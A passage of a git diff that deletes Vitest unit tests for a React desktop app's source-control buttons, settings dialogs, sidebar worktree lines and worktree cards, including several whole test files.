true, - inFlightRemoteOpKind: 'fetch' - }) - ) - expect(chevron).toContain('animate-spin') - expect(primary).not.toContain('animate-spin') - }) - - it('does not spin the chevron when the primary already hosts the in-flight op', () => { - const [primary, chevron] = renderButtons( - baseProps({ - stagedCount: 0, - hasMessage: false, - upstreamStatus: { hasUpstream: true, ahead: 1, behind: 0 }, - isRemoteOperationActive: true, - inFlightRemoteOpKind: 'push' - }) - ) - expect(primary).toContain('animate-spin') - expect(chevron).not.toContain('animate-spin') - }) - - it('does not spin the chevron when a dropdown op is mirrored onto the primary', () => { - const [primary, chevron] = renderButtons( - baseProps({ - stagedCount: 0, - hasMessage: false, - upstreamStatus: { hasUpstream: true, ahead: 3, behind: 0 }, - isRemoteOperationActive: true, - inFlightRemoteOpKind: 'sync' - }) - ) - expect(primary).toContain('animate-spin') - expect(chevron).not.toContain('animate-spin') - }) - - it('does not spin the chevron when Force Push is mirrored onto the push primary slot', () => { - const [primary, chevron] = renderButtons( - baseProps({ - stagedCount: 0, - hasMessage: false, - upstreamStatus: { hasUpstream: true, ahead: 3, behind: 0 }, - isRemoteOperationActive: true, - inFlightRemoteOpKind: 'force_push' - }) - ) - expect(primary).toContain('Force Push') - expect(primary).toContain('animate-spin') - expect(chevron).not.toContain('animate-spin') - }) - - it('spins the chevron when a dropdown remote op runs while the primary is plain Commit', () => { - const [primary, chevron] = renderButtons( - baseProps({ - stagedCount: 1, - hasMessage: false, - upstreamStatus: { hasUpstream: true, ahead: 0, behind: 0 }, - isRemoteOperationActive: true, - inFlightRemoteOpKind: 'fetch' - }) - ) - expect(primary).not.toContain('animate-spin') - expect(chevron).toContain('animate-spin') - }) -}) diff --git a/src/renderer/src/components/right-sidebar/source-control/listing/use-store-actions.store-subscriptions.test.tsx b/src/renderer/src/components/right-sidebar/source-control/listing/use-store-actions.store-subscriptions.test.tsx index 1785bd7cec4..f177171dc82 100644 --- a/src/renderer/src/components/right-sidebar/source-control/listing/use-store-actions.store-subscriptions.test.tsx +++ b/src/renderer/src/components/right-sidebar/source-control/listing/use-store-actions.store-subscriptions.test.tsx @@ -41,10 +41,6 @@ afterEach(() => { useAppStore.setState(originalState, true) }) -const ACTION_KEYS = Object.keys(originalState).filter( - (key) => typeof (originalState as Record)[key] === 'function' -) - describe('useSourceControlStoreActions store subscriptions', () => { it('keeps only the two generation-record maps subscribed', () => { const baseline = listenerCount() @@ -121,43 +117,4 @@ describe('useSourceControlStoreActions store subscriptions', () => { expect(read()).not.toBe(afterPr) expect(read().commitMessageGenerationRecords).toEqual({ 'wt-1': record }) }) - - it('hands back the live store action references', () => { - let latest: SourceControlStoreActions | null = null - function Probe(): null { - latest = useSourceControlStoreActions() - return null - } - mount() - - const state = useAppStore.getState() as unknown as Record - const returned = latest as unknown as Record - const returnedActionKeys = Object.keys(returned).filter( - (key) => typeof returned[key] === 'function' - ) - - expect(returnedActionKeys.length).toBe(40) - for (const key of returnedActionKeys) { - expect(returned[key]).toBe(state[key]) - } - }) - - it('never reassigns a store action, which is what makes getState() safe here', () => { - const before = useAppStore.getState() as unknown as Record - const snapshot = new Map(ACTION_KEYS.map((key) => [key, before[key]])) - - act(() => { - useAppStore.getState().setRightSidebarOpen(true) - useAppStore.getState().setRightSidebarTab('source-control') - useAppStore.getState().allocatePullRequestGenerationRequestId() - useAppStore.getState().setPullRequestGenerationRecord('wt-1', { status: 'pending' } as never) - useAppStore.getState().setCommitMessageGenerationRecord('wt-1', { - status: 'pending' - } as never) - }) - - const after = useAppStore.getState() as unknown as Record - const moved = ACTION_KEYS.filter((key) => after[key] !== snapshot.get(key)) - expect(moved).toEqual([]) - }) }) diff --git a/src/renderer/src/components/settings/CliSection.install-failure.test.tsx b/src/renderer/src/components/settings/CliSection.install-failure.test.tsx index 1b49726c622..40e94d4f288 100644 --- a/src/renderer/src/components/settings/CliSection.install-failure.test.tsx +++ b/src/renderer/src/components/settings/CliSection.install-failure.test.tsx @@ -140,14 +140,4 @@ describe('CliSection install failure surfacing', () => { expect(toasts.success).not.toHaveBeenCalled() expect(toasts.error).toHaveBeenCalledTimes(1) }) - - it('keeps the success toast and shows no failure notice when registration lands', async () => { - await renderCliSectionAndInstall(async () => - notInstalledStatus({ state: 'installed', detail: null }) - ) - - expect(screen.queryByRole('alert')).toBeNull() - expect(toasts.success).toHaveBeenCalledTimes(1) - expect(toasts.error).not.toHaveBeenCalled() - }) }) diff --git a/src/renderer/src/components/settings/SshHostDeltaMoveDialog.test.tsx b/src/renderer/src/components/settings/SshHostDeltaMoveDialog.test.tsx index eac8bee5e64..51a2ffc6a6f 100644 --- a/src/renderer/src/components/settings/SshHostDeltaMoveDialog.test.tsx +++ b/src/renderer/src/components/settings/SshHostDeltaMoveDialog.test.tsx @@ -112,18 +112,6 @@ describe('moving what an older build added', () => { expect(onFinished).toHaveBeenCalled() }) - it('shows a refusal plainly and keeps the dialog open', async () => { - const managed = api(preview(), { - outcome: 'refused', - code: 'orcad_delta_refused_by_server', - reason: 'orcad_migration_repository_id_conflict:repo-2' - }) - const container = await render(managed) - await act(async () => confirmButton(container).click()) - expect(container.textContent).toContain('Orca couldn’t finish this on the server.') - expect(container.textContent).not.toContain('orcad_') - }) - it('keeps a running move when the caller passes a fresh target object', async () => { const managed = api(preview(), { outcome: 'moved', migrationId: 'm-2' }) managed.moveDelta = vi.fn(() => new Promise(() => {})) @@ -148,12 +136,4 @@ describe('moving what an older build added', () => { expect(managed.previewDeltaMove).toHaveBeenCalledTimes(1) expect(confirmButton(container).disabled).toBe(true) }) - - it('does not offer the move when nothing is new', async () => { - const container = await render( - api(preview({ added: [] }), { outcome: 'moved', migrationId: 'm' }) - ) - expect(container.textContent).toContain('Nothing new to add.') - expect(confirmButton(container).disabled).toBe(true) - }) }) diff --git a/src/renderer/src/components/settings/bitbucket-integration-card.test.tsx b/src/renderer/src/components/settings/bitbucket-integration-card.test.tsx index fed4922add1..def890067aa 100644 --- a/src/renderer/src/components/settings/bitbucket-integration-card.test.tsx +++ b/src/renderer/src/components/settings/bitbucket-integration-card.test.tsx @@ -83,14 +83,6 @@ describe('BitbucketIntegrationCard credential-read failures', () => { expect(container.textContent).toContain('Credential dialog open') }) - it('does not claim a read failure when the status resolves', async () => { - mocks.status.mockResolvedValue({ source: 'none', account: null }) - - await renderCard() - - expect(container.textContent).not.toContain(LOAD_FAILED_TEXT) - }) - it('retries the failed credential read from Re-check, not just the preflight', async () => { mocks.status.mockRejectedValueOnce(new Error('keychain locked')) mocks.status.mockResolvedValueOnce({ source: 'none', account: null }) diff --git a/src/renderer/src/components/sidebar/ImportedWorktreesVisibilityLine.test.tsx b/src/renderer/src/components/sidebar/ImportedWorktreesVisibilityLine.test.tsx deleted file mode 100644 index 0dc3f7c3ce2..00000000000 --- a/src/renderer/src/components/sidebar/ImportedWorktreesVisibilityLine.test.tsx +++ /dev/null @@ -1,159 +0,0 @@ -import { renderToStaticMarkup } from 'react-dom/server' -import type { ComponentProps } from 'react' -import { describe, expect, it, vi } from 'vitest' - -import ImportedWorktreesVisibilityLine, { - groupWorktreesByParentPath -} from './ImportedWorktreesVisibilityLine' -import { TooltipProvider } from '@/components/ui/tooltip' - -const hiddenWorktrees = [ - { - id: 'hidden-1', - displayName: 'payments-refactor', - path: '/worktrees/demo-project/payments-refactor', - branch: 'refs/heads/payments-refactor' - }, - { - id: 'hidden-2', - displayName: 'auth-cache-debug', - path: '/worktrees/demo-project/auth-cache-debug', - branch: 'refs/heads/auth-cache-debug' - }, - { - id: 'hidden-3', - displayName: 'legacy-oauth-fix', - path: '/worktrees/legacy/legacy-oauth-fix', - branch: 'refs/heads/legacy-oauth-fix' - }, - { - id: 'hidden-4', - displayName: 'ssh-worktree', - path: '/srv/repos/orca/ssh-worktree', - branch: 'refs/heads/ssh-worktree' - } -] - -function renderLine( - overrides: Partial> = {} -): string { - return renderToStaticMarkup( - - - - ) -} - -describe('ImportedWorktreesVisibilityLine', () => { - it('renders the compact repo-group line with expand and dismiss actions', () => { - const markup = renderLine() - - expect(markup).toContain('Hiding 4 discovered worktrees') - expect(markup).toContain('Expand hidden worktrees for orca') - expect(markup).toContain( - 'Keep 4 discovered worktrees hidden for orca; recover from the project menu' - ) - expect(markup).toContain('aria-expanded="false"') - expect(markup).not.toContain('Imported 4 existing worktrees') - expect(markup).not.toContain('Orca found 4 worktrees') - expect(markup).not.toContain('repo options') - expect(markup).not.toContain('Reveal') - expect(markup).not.toContain('Always show') - expect(markup).not.toContain('Hidden worktrees by location') - expect(markup).not.toContain('payments-refactor') - expect(markup).not.toContain('/worktrees/demo-project') - }) - - it('names the host when the project is checked out on more than one', () => { - const markup = renderLine({ hostContextLabel: 'openclaw' }) - - expect(markup).toContain('openclaw') - expect(markup).toContain('Expand hidden worktrees for orca on openclaw') - expect(markup).toContain( - 'Keep 4 discovered worktrees hidden for orca on openclaw; recover from the project menu' - ) - }) - - it('folds the host into pinned fallback copy, which already names the repo', () => { - const markup = renderLine({ - hostContextLabel: 'openclaw', - placement: 'pinned-fallback', - onKeepHidden: undefined - }) - - expect(markup).toContain('Hiding 4 discovered worktrees in orca on openclaw') - }) - - it('scopes pinned fallback copy to the repo name without a dismiss action', () => { - const markup = renderLine({ placement: 'pinned-fallback', onKeepHidden: undefined }) - - expect(markup).toContain('Hiding 4 discovered worktrees in orca') - expect(markup).not.toContain('Review') - expect(markup).not.toContain('Keep hidden - recover from the project menu') - }) - - it('normalizes Windows parent path separators in preview groups', () => { - const groups = groupWorktreesByParentPath([ - { - id: 'windows-hidden', - displayName: 'FeatureX', - path: 'C:\\Repos\\Orca\\FeatureX' - } - ]) - - expect(groups).toMatchObject([{ path: 'C:/Repos/Orca' }]) - expect(groups[0]?.path).not.toBe('C:\\Repos\\Orca') - }) - - it('keeps Windows drive roots as parent path labels', () => { - const groups = groupWorktreesByParentPath([ - { - id: 'windows-root-hidden', - displayName: 'FeatureX', - path: 'C:/' - } - ]) - - expect(groups).toMatchObject([{ path: 'C:/' }]) - }) - - it('keeps UNC share roots as parent path labels', () => { - const groups = groupWorktreesByParentPath([ - { - id: 'unc-root-hidden', - displayName: 'ShareRoot', - path: '\\\\server\\share' - }, - { - id: 'unc-repo-hidden', - displayName: 'Repo', - path: '\\\\server\\share\\repo' - } - ]) - - expect(groups).toMatchObject([ - { - path: '//server/share', - worktrees: [{ id: 'unc-root-hidden' }, { id: 'unc-repo-hidden' }] - } - ]) - }) - - it('disables actions while pending and renders inline errors', () => { - const markup = renderLine({ pending: true, error: 'Could not show imported worktrees.' }) - - expect(markup).toContain('aria-busy="true"') - expect(markup).toContain('disabled=""') - expect(markup).toContain('role="alert"') - expect(markup).toContain('Could not show imported worktrees.') - }) -}) diff --git a/src/renderer/src/components/sidebar/LocalGitToolchainScanBanner.test.tsx b/src/renderer/src/components/sidebar/LocalGitToolchainScanBanner.test.tsx index 8b15a71721a..ce30e2287aa 100644 --- a/src/renderer/src/components/sidebar/LocalGitToolchainScanBanner.test.tsx +++ b/src/renderer/src/components/sidebar/LocalGitToolchainScanBanner.test.tsx @@ -80,17 +80,6 @@ describe('LocalGitToolchainScanBanner', () => { useAppStore.setState(initialState, true) }) - it('shows one banner instead of a per-repo marker for an Xcode license failure', async () => { - useAppStore.setState({ repos, detectedWorktreesByRepo: blockedListings() }) - - const container = await render() - - expect(container.querySelectorAll('[role="alert"]')).toHaveLength(1) - expect(container.textContent).toContain('sudo xcodebuild -license accept') - expect(container.textContent).toContain('Worktree scan paused for 2 projects') - expect(container.querySelector('button[aria-label^="Worktree scan failed"]')).toBeNull() - }) - it('rescans every blocked repo when the window regains focus and confirms recovery', async () => { useAppStore.setState({ repos, detectedWorktreesByRepo: blockedListings() }) const fetchWorktrees = vi diff --git a/src/renderer/src/components/sidebar/NewExternalWorktreesInboxLine.test.tsx b/src/renderer/src/components/sidebar/NewExternalWorktreesInboxLine.test.tsx index 4e1178acdfe..7e8b3ca55ab 100644 --- a/src/renderer/src/components/sidebar/NewExternalWorktreesInboxLine.test.tsx +++ b/src/renderer/src/components/sidebar/NewExternalWorktreesInboxLine.test.tsx @@ -65,62 +65,6 @@ describe('NewExternalWorktreesInboxLine', () => { vi.clearAllMocks() }) - it('states the count without naming any worktree', async () => { - const container = await renderLine() - - expect(container.textContent).toContain('24') - expect(container.textContent).toContain('hidden worktrees') - expect(container.querySelectorAll('li')).toHaveLength(0) - expect(container.textContent).not.toContain('Import') - }) - - it('opens review from a single card-wide button', async () => { - const onReview = vi.fn() - const container = await renderLine({ onReview }) - - const review = getReviewButton(container) - expect(review).not.toBeNull() - expect(review?.getAttribute('aria-label')).toBe('Review 24 hidden worktrees in orca') - - await act(async () => { - review?.click() - }) - expect(onReview).toHaveBeenCalledTimes(1) - }) - - it('uses the singular noun for one worktree', async () => { - const container = await renderLine({ inboxCount: 1 }) - - expect(container.textContent).toContain('hidden worktree') - expect(container.textContent).not.toContain('hidden worktrees') - expect(getReviewButton(container)?.getAttribute('aria-label')).toBe( - 'Review 1 hidden worktree in orca' - ) - }) - - it('names the host so two checkouts of one project are distinguishable', async () => { - const local = await renderLine({ hostContextLabel: 'Local Mac', inboxCount: 61 }) - const remote = await renderLine({ hostContextLabel: 'openclaw', inboxCount: 134 }) - - expect(local.textContent).toContain('Local Mac') - expect(getReviewButton(local)?.getAttribute('aria-label')).toBe( - 'Review 61 hidden worktrees in orca on Local Mac' - ) - expect(getReviewButton(remote)?.getAttribute('aria-label')).toBe( - 'Review 134 hidden worktrees in orca on openclaw' - ) - }) - - it('host-qualifies the suppress control, which writes to that host alone', async () => { - const container = await renderLine({ hostContextLabel: 'openclaw', onSuppress: vi.fn() }) - - expect( - container.querySelector( - 'button[aria-label="Hide external worktrees permanently for orca on openclaw"]' - ) - ).not.toBeNull() - }) - it('keeps suppress as a hover-revealed control that does not trigger review', async () => { const onReview = vi.fn() const onSuppress = vi.fn() @@ -140,29 +84,4 @@ describe('NewExternalWorktreesInboxLine', () => { expect(onSuppress).toHaveBeenCalledTimes(1) expect(onReview).not.toHaveBeenCalled() }) - - it('disables both actions while a mutation is pending', async () => { - const container = await renderLine({ pending: true }) - - expect(getReviewButton(container)?.disabled).toBe(true) - expect( - container.querySelector( - 'button[aria-label="Hide external worktrees permanently for orca"]' - )?.disabled - ).toBe(true) - expect(container.querySelector('section')?.getAttribute('aria-busy')).toBe('true') - }) - - it('renders nothing when the inbox is empty', async () => { - const container = await renderLine({ inboxCount: 0 }) - - expect(container.querySelector('section')).toBeNull() - }) - - it('surfaces the action error as an alert', async () => { - const container = await renderLine({ error: 'Could not import external worktrees. Try again.' }) - - const alert = container.querySelector('[role="alert"]') - expect(alert?.textContent).toBe('Could not import external worktrees. Try again.') - }) }) diff --git a/src/renderer/src/components/sidebar/RemoveFolderDialog.test.tsx b/src/renderer/src/components/sidebar/RemoveFolderDialog.test.tsx deleted file mode 100644 index 6e841f672d6..00000000000 --- a/src/renderer/src/components/sidebar/RemoveFolderDialog.test.tsx +++ /dev/null @@ -1,150 +0,0 @@ -import { renderToStaticMarkup } from 'react-dom/server' -import type { ReactNode } from 'react' -import { beforeEach, describe, expect, it, vi } from 'vitest' -import type { Repo } from '../../../../shared/repo-types' - -const mocks = vi.hoisted(() => { - const worktreesByRepo: Record< - string, - { id: string; hostId?: string; ephemeralVmCheckoutMode?: 'provisioned-root' }[] - > = {} - const tabsByWorktree: Record = {} - const ptyIdsByTabId: Record = {} - const runtimeEnvironments: { id: string; orcadDeployment?: { sshTargetId: string } }[] = [] - return { - state: { - activeModal: 'confirm-remove-folder' as string | null, - modalData: { - repoId: 'repo-1', - displayName: 'Example', - hostId: 'ssh:target-1' - } as Record, - repos: [] as Repo[], - runtimeEnvironments, - sshTargetLabels: new Map(), - removedSshTargetLabels: new Map(), - worktreesByRepo, - detectedWorktreesByRepo: {}, - tabsByWorktree, - ptyIdsByTabId, - closeModal: vi.fn(), - removeProject: vi.fn() - } - } -}) - -vi.mock('@/store', () => ({ - useAppStore: (selector: (state: typeof mocks.state) => unknown) => selector(mocks.state) -})) - -vi.mock('@/components/ui/dialog', () => ({ - Dialog: ({ open, children }: { open: boolean; children: ReactNode }) => - open ?
    {children}
    : null, - DialogContent: ({ children }: { children: ReactNode }) =>
    {children}
    , - DialogDescription: ({ children }: { children: ReactNode }) =>

    {children}

    , - DialogFooter: ({ children }: { children: ReactNode }) =>
    {children}
    , - DialogHeader: ({ children }: { children: ReactNode }) =>
    {children}
    , - DialogTitle: ({ children }: { children: ReactNode }) =>

    {children}

    -})) - -vi.mock('@/components/ui/button', () => ({ - Button: ({ children }: { children: ReactNode }) => -})) - -vi.mock('@/i18n/i18n', () => ({ - translate: (_key: string, fallback: string, values?: Record) => - Object.entries(values ?? {}).reduce( - (text, [key, value]) => text.replace(`{{${key}}}`, value), - fallback - ) -})) - -import RemoveFolderDialog from './RemoveFolderDialog' - -function repo(connectionId: string | null, executionHostId: Repo['executionHostId']): Repo { - return { - id: 'repo-1', - path: '/workspace/example', - displayName: 'Example', - badgeColor: '#000', - addedAt: 1, - kind: 'git', - connectionId, - executionHostId - } -} - -describe('RemoveFolderDialog', () => { - beforeEach(() => { - vi.clearAllMocks() - mocks.state.modalData = { - repoId: 'repo-1', - displayName: 'Example', - hostId: 'ssh:target-1' - } - mocks.state.sshTargetLabels = new Map([['target-1', 'Persistent host']]) - mocks.state.removedSshTargetLabels = new Map() - mocks.state.worktreesByRepo = {} - mocks.state.tabsByWorktree = {} - mocks.state.ptyIdsByTabId = {} - mocks.state.runtimeEnvironments = [] - }) - - it("warns about VM recipe cleanup for a project on a recipe VM's managed server", () => { - mocks.state.modalData.hostId = 'runtime:env-vm' - mocks.state.repos = [repo(null, 'runtime:env-vm')] - mocks.state.runtimeEnvironments = [ - { id: 'env-vm', orcadDeployment: { sshTargetId: 'runtime-ssh-runtime-1' } } - ] - - const html = renderToStaticMarkup() - - expect(html).toContain('Its VM recipe determines whether the environment') - expect(html).not.toContain('It is still on your disk') - }) - - it('warns that VM recipe cleanup controls file deletion', () => { - mocks.state.modalData.hostId = 'ssh:runtime-ssh-runtime-1' - mocks.state.repos = [repo('runtime-ssh-runtime-1', 'ssh:runtime-ssh-runtime-1')] - - const html = renderToStaticMarkup() - - expect(html).toContain('Its VM recipe determines whether the environment') - expect(html).toContain('files are permanently deleted') - expect(html).not.toContain('Its files stay on') - }) - - it('warns about VM recipe cleanup for an adopted provisioned root before the catalog loads', () => { - mocks.state.modalData.hostId = 'runtime:env-vm' - mocks.state.repos = [repo(null, 'runtime:env-vm')] - mocks.state.worktreesByRepo = { - 'repo-1': [ - { id: 'repo-1::/vm', hostId: 'runtime:env-vm', ephemeralVmCheckoutMode: 'provisioned-root' } - ] - } - - expect(renderToStaticMarkup()).toContain('Its VM recipe determines') - }) - - it('keeps the file-preservation promise for ordinary SSH projects', () => { - mocks.state.repos = [repo('target-1', 'ssh:target-1')] - - const html = renderToStaticMarkup() - - expect(html).toContain('Its files stay on Persistent host') - expect(html).not.toContain('VM recipe') - }) - - it('says how many open terminals removal will close', () => { - mocks.state.repos = [repo('target-1', 'ssh:target-1')] - mocks.state.worktreesByRepo = { - 'repo-1': [{ id: 'repo-1::/workspace/example', hostId: 'ssh:target-1' }] - } - mocks.state.tabsByWorktree = { 'repo-1::/workspace/example': [{ id: 'a' }, { id: 'b' }] } - mocks.state.ptyIdsByTabId = { a: ['pty-a'], b: ['pty-b'] } - - expect(renderToStaticMarkup()).toContain( - '2 open terminals in this project will be closed.' - ) - }) -}) diff --git a/src/renderer/src/components/sidebar/SidebarToolbar.test.tsx b/src/renderer/src/components/sidebar/SidebarToolbar.test.tsx index ea712e82f58..4bf44214313 100644 --- a/src/renderer/src/components/sidebar/SidebarToolbar.test.tsx +++ b/src/renderer/src/components/sidebar/SidebarToolbar.test.tsx @@ -141,11 +141,4 @@ describe('SidebarToolbar moved workspace board hint', () => { expect(localized).not.toBe('Workspace board') expect(container.querySelector(`button[aria-label="${localized}"]`)).not.toBeNull() }) - - it('keeps account controls out of the sidebar footer', async () => { - const { container } = await renderToolbar() - - expect(container.textContent).not.toContain('Profile') - expect(container.textContent).toContain('Settings') - }) }) diff --git a/src/renderer/src/components/sidebar/WorkspaceKanbanStatusLane.test.tsx b/src/renderer/src/components/sidebar/WorkspaceKanbanStatusLane.test.tsx deleted file mode 100644 index 229bdfd24bb..00000000000 --- a/src/renderer/src/components/sidebar/WorkspaceKanbanStatusLane.test.tsx +++ /dev/null @@ -1,157 +0,0 @@ -// @vitest-environment happy-dom - -import React, { act } from 'react' -import { createRoot, type Root } from 'react-dom/client' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { Repo } from '../../../../shared/repo-types' -import type { Worktree } from '../../../../shared/worktree/types' -import { serializeWorkspaceLaneFullIds } from './workspace-kanban-filtered-drop-index' -import WorkspaceKanbanStatusLane from './WorkspaceKanbanStatusLane' - -;(globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true - -vi.mock('./WorkspaceKanbanLaneCardList', () => ({ - default: ({ - items, - activeWorktreeIdentity - }: { - items: readonly Worktree[] - activeWorktreeIdentity: string | null - }) => ( -
    - {items.map((item) => ( -
    - ))} -
    - ) -})) - -vi.mock('@/components/ui/tooltip', () => ({ - Tooltip: ({ children }: { children: React.ReactNode }) => <>{children}, - TooltipTrigger: ({ children }: { children: React.ReactNode }) => <>{children}, - TooltipContent: () => null -})) - -const status = { id: 'todo', label: 'Todo' } -const repoMap = new Map() - -function worktree(id: string): Worktree { - return { id, repoId: 'repo-a', displayName: id } as Worktree -} - -let container: HTMLDivElement -let root: Root - -function renderLane(props: { - items: Worktree[] - totalCount: number - hasQuery: boolean - fullWorktreeIds?: string[] - activeWorktreeIdentity?: string | null -}): void { - act(() => { - root.render( - false)} - onContextMenuSelect={vi.fn(() => [])} - onCreateWorktree={vi.fn()} - onColumnResizeStart={vi.fn()} - onColumnResizeKeyDown={vi.fn()} - /> - ) - }) -} - -function lane(): HTMLElement { - const element = container.querySelector('[data-workspace-status-drop-target]') - if (!element) { - throw new Error('lane not rendered') - } - return element -} - -beforeEach(() => { - container = document.createElement('div') - document.body.appendChild(container) - root = createRoot(container) -}) - -afterEach(() => { - act(() => { - root.unmount() - }) - container.remove() -}) - -describe('WorkspaceKanbanStatusLane', () => { - it('shows a plain count without a query and a matches/total count with one', () => { - renderLane({ items: [worktree('a'), worktree('b')], totalCount: 2, hasQuery: false }) - expect(container.textContent).toContain('2') - expect(container.textContent).not.toContain('2 / 2') - - renderLane({ items: [worktree('a')], totalCount: 5, hasQuery: true }) - expect(container.textContent).toContain('1 / 5') - }) - - it('keeps a fully filtered lane as a labeled drop target', () => { - renderLane({ items: [], totalCount: 5, hasQuery: true }) - - expect(container.textContent).toContain('No matches') - expect(lane().hasAttribute('data-workspace-status-drop-target')).toBe(true) - }) - - it('shows the empty placeholder when there is no query', () => { - renderLane({ items: [], totalCount: 0, hasQuery: false }) - - expect(container.textContent).toContain('Empty') - expect(container.textContent).not.toContain('No matches') - }) - - it('leaves an already-empty lane as Empty under a query rather than "No matches"', () => { - renderLane({ items: [], totalCount: 0, hasQuery: true, fullWorktreeIds: [] }) - - expect(container.textContent).toContain('Empty') - expect(container.textContent).not.toContain('No matches') - expect(container.textContent).not.toContain('0 / 0') - }) - - it('publishes the full lane membership even when the rendered set is a subset', () => { - renderLane({ - items: [worktree('b')], - totalCount: 3, - hasQuery: true, - fullWorktreeIds: ['a', 'b', 'c'] - }) - - expect(lane().dataset.workspaceLaneFullIds).toBe(serializeWorkspaceLaneFullIds(['a', 'b', 'c'])) - expect(container.querySelectorAll('[data-workspace-board-card-id]')).toHaveLength(1) - }) - - it('stays off the full-id channel when nothing is filtered', () => { - renderLane({ - items: [worktree('a'), worktree('b')], - totalCount: 2, - hasQuery: false, - fullWorktreeIds: ['a', 'b'] - }) - - expect(lane().dataset.workspaceLaneFullIds).toBeUndefined() - }) -}) diff --git a/src/renderer/src/components/sidebar/WorktreeCard.delete-failed.test.tsx b/src/renderer/src/components/sidebar/WorktreeCard.delete-failed.test.tsx deleted file mode 100644 index c88a5defb22..00000000000 --- a/src/renderer/src/components/sidebar/WorktreeCard.delete-failed.test.tsx +++ /dev/null @@ -1,162 +0,0 @@ -import { renderToStaticMarkup } from 'react-dom/server' -import type { ReactNode } from 'react' -import { beforeAll, beforeEach, describe, expect, it, vi } from 'vitest' -import type { Repo } from '../../../../shared/repo-types' -import type { WorktreeCardProperty } from '../../../../shared/ui-chrome-types' -import type { Worktree } from '../../../../shared/worktree/types' -import type WorktreeCardComponent from './WorktreeCard' - -const fetchHostedReviewForBranch = vi.fn() -const fetchIssue = vi.fn() -const fetchLinearIssue = vi.fn() -const openModal = vi.fn() -const updateWorktreeMeta = vi.fn() - -let WorktreeCard: typeof WorktreeCardComponent -let sshConnectionStates = new Map() -let sshTargetLabels = new Map() -let removedSshTargetLabels = new Map() -let runtimeStatusByEnvironmentId = new Map() -let runtimeEnvironments: { id: string; name: string }[] = [] -let sshStateByEnvironment = new Map() -let worktreesByRepo: Record = {} -let worktreeCardProperties: WorktreeCardProperty[] = ['status'] -let deleteStateByWorktreeId: Record = {} - -vi.mock('@/store', () => { - const getState = () => ({ - deleteStateByWorktreeId, - fetchHostedReviewForBranch, - fetchIssue, - fetchLinearIssue, - gitConflictOperationByWorktree: {}, - hostedReviewCache: {}, - issueCache: {}, - linearIssueCache: {}, - openModal, - projectGroups: [], - remoteBranchConflictByWorktreeId: {}, - runtimeEnvironments, - runtimeStatusByEnvironmentId, - removedSshTargetLabels, - settings: null, - sshConnectionStates, - sshStateByEnvironment, - sshTargetLabels, - sshTargetsHydrated: true, - updateWorktreeMeta, - worktreesByRepo, - worktreeCardProperties - }) - return { - useAppStore: Object.assign((selector: (state: unknown) => unknown) => selector(getState()), { - getState, - subscribe: () => () => {} - }) - } -}) - -vi.mock('@/lib/worktree-activation', () => ({ - activateAndRevealWorktree: vi.fn() -})) - -vi.mock('@/components/ui/tooltip', () => ({ - Tooltip: ({ children }: { children: ReactNode }) => <>{children}, - TooltipContent: ({ children }: { children: ReactNode }) => <>{children}, - TooltipTrigger: ({ children }: { children: ReactNode }) => <>{children} -})) - -vi.mock('./CacheTimer', () => ({ - default: () => null, - usePromptCacheCountdownStartedAt: () => null -})) - -vi.mock('./WorktreeCardAgents', () => ({ - default: () => null -})) - -vi.mock('./use-worktree-activity-status', () => ({ - useWorktreeActivityStatus: () => 'idle' -})) - -vi.mock('./use-worktree-sleep-state', () => ({ - useIsSleepingWorktree: () => false -})) - -vi.mock('./WorktreeContextMenu', () => ({ - default: ({ children }: { children: ReactNode }) => <>{children}, - WORKTREE_CONTEXT_MENU_SCOPE_ATTR: 'data-orca-context-menu-scope', - WORKTREE_NATIVE_CONTEXT_MENU_ATTR: 'data-worktree-native-context-menu' -})) - -const FAILURE = "error: failed to delete '/repo/worktrees/one': Operation not permitted" - -function makeRepo(): Repo { - return { id: 'repo-1', path: '/repo', displayName: 'Repo', badgeColor: '#999999', addedAt: 1 } -} - -function makeWorktree(overrides: Partial = {}): Worktree { - return { - id: 'worktree-1', - repoId: 'repo-1', - path: '/repo/worktrees/one', - displayName: 'Workspace one', - branch: 'one', - head: 'abc123', - isBare: false, - isMainWorktree: false, - comment: '', - linkedIssue: null, - linkedPR: null, - linkedLinearIssue: null, - isArchived: false, - isUnread: false, - isPinned: false, - sortOrder: 0, - lastActivityAt: 1, - ...overrides - } -} - -function renderCard(worktree: Worktree): string { - return renderToStaticMarkup( - - ).replaceAll(''', "'") -} - -describe('WorktreeCard for a delete that failed partway', () => { - beforeAll(async () => { - WorktreeCard = (await import('./WorktreeCard')).default - }, 20_000) - - beforeEach(() => { - vi.clearAllMocks() - deleteStateByWorktreeId = {} - worktreesByRepo = {} - worktreeCardProperties = ['status'] - }) - - it('says the delete failed, with the full error the host lists one hover away', () => { - const markup = renderCard(makeWorktree({ removalError: FAILURE })) - - expect(markup).toContain('data-worktree-card-delete-failed') - expect(markup).toContain('Delete failed') - expect(markup).toContain(FAILURE) - }) - - it('shows nothing extra on a normal row', () => { - const markup = renderCard(makeWorktree()) - - expect(markup).not.toContain('data-worktree-card-delete-failed') - expect(markup).not.toContain('Delete failed') - }) - - it('shows Deleting instead once the retry starts', () => { - deleteStateByWorktreeId = { 'worktree-1': { isDeleting: true, error: null } } - - const markup = renderCard(makeWorktree({ removalError: FAILURE })) - - expect(markup).not.toContain('data-worktree-card-delete-failed') - expect(markup).toContain('Deleting') - }) -}) diff --git a/src/renderer/src/components/sidebar/WorktreeCard.lineage.test.tsx b/src/renderer/src/components/sidebar/WorktreeCard.lineage.test.tsx deleted file mode 100644 index 83230bf880f..00000000000 --- a/src/renderer/src/components/sidebar/WorktreeCard.lineage.test.tsx +++ /dev/null @@ -1,150 +0,0 @@ -import { renderToStaticMarkup } from 'react-dom/server' -import type { ReactNode } from 'react' -import { beforeEach, describe, expect, it, vi } from 'vitest' -import type { Repo } from '../../../../shared/repo-types' -import type { WorktreeCardProperty } from '../../../../shared/ui-chrome-types' -import type { Worktree } from '../../../../shared/worktree/types' - -const fetchHostedReviewForBranch = vi.fn() -const fetchIssue = vi.fn() -const fetchLinearIssue = vi.fn() -const openModal = vi.fn() -const updateWorktreeMeta = vi.fn() - -let worktreeCardProperties: WorktreeCardProperty[] = [] -const WORKTREE_CARD_IMPORT_TIMEOUT_MS = 15_000 - -vi.mock('@/store', () => { - const getState = () => ({ - deleteStateByWorktreeId: {}, - fetchHostedReviewForBranch, - fetchIssue, - fetchLinearIssue, - gitConflictOperationByWorktree: {}, - hostedReviewCache: {}, - issueCache: {}, - linearIssueCache: {}, - openModal, - 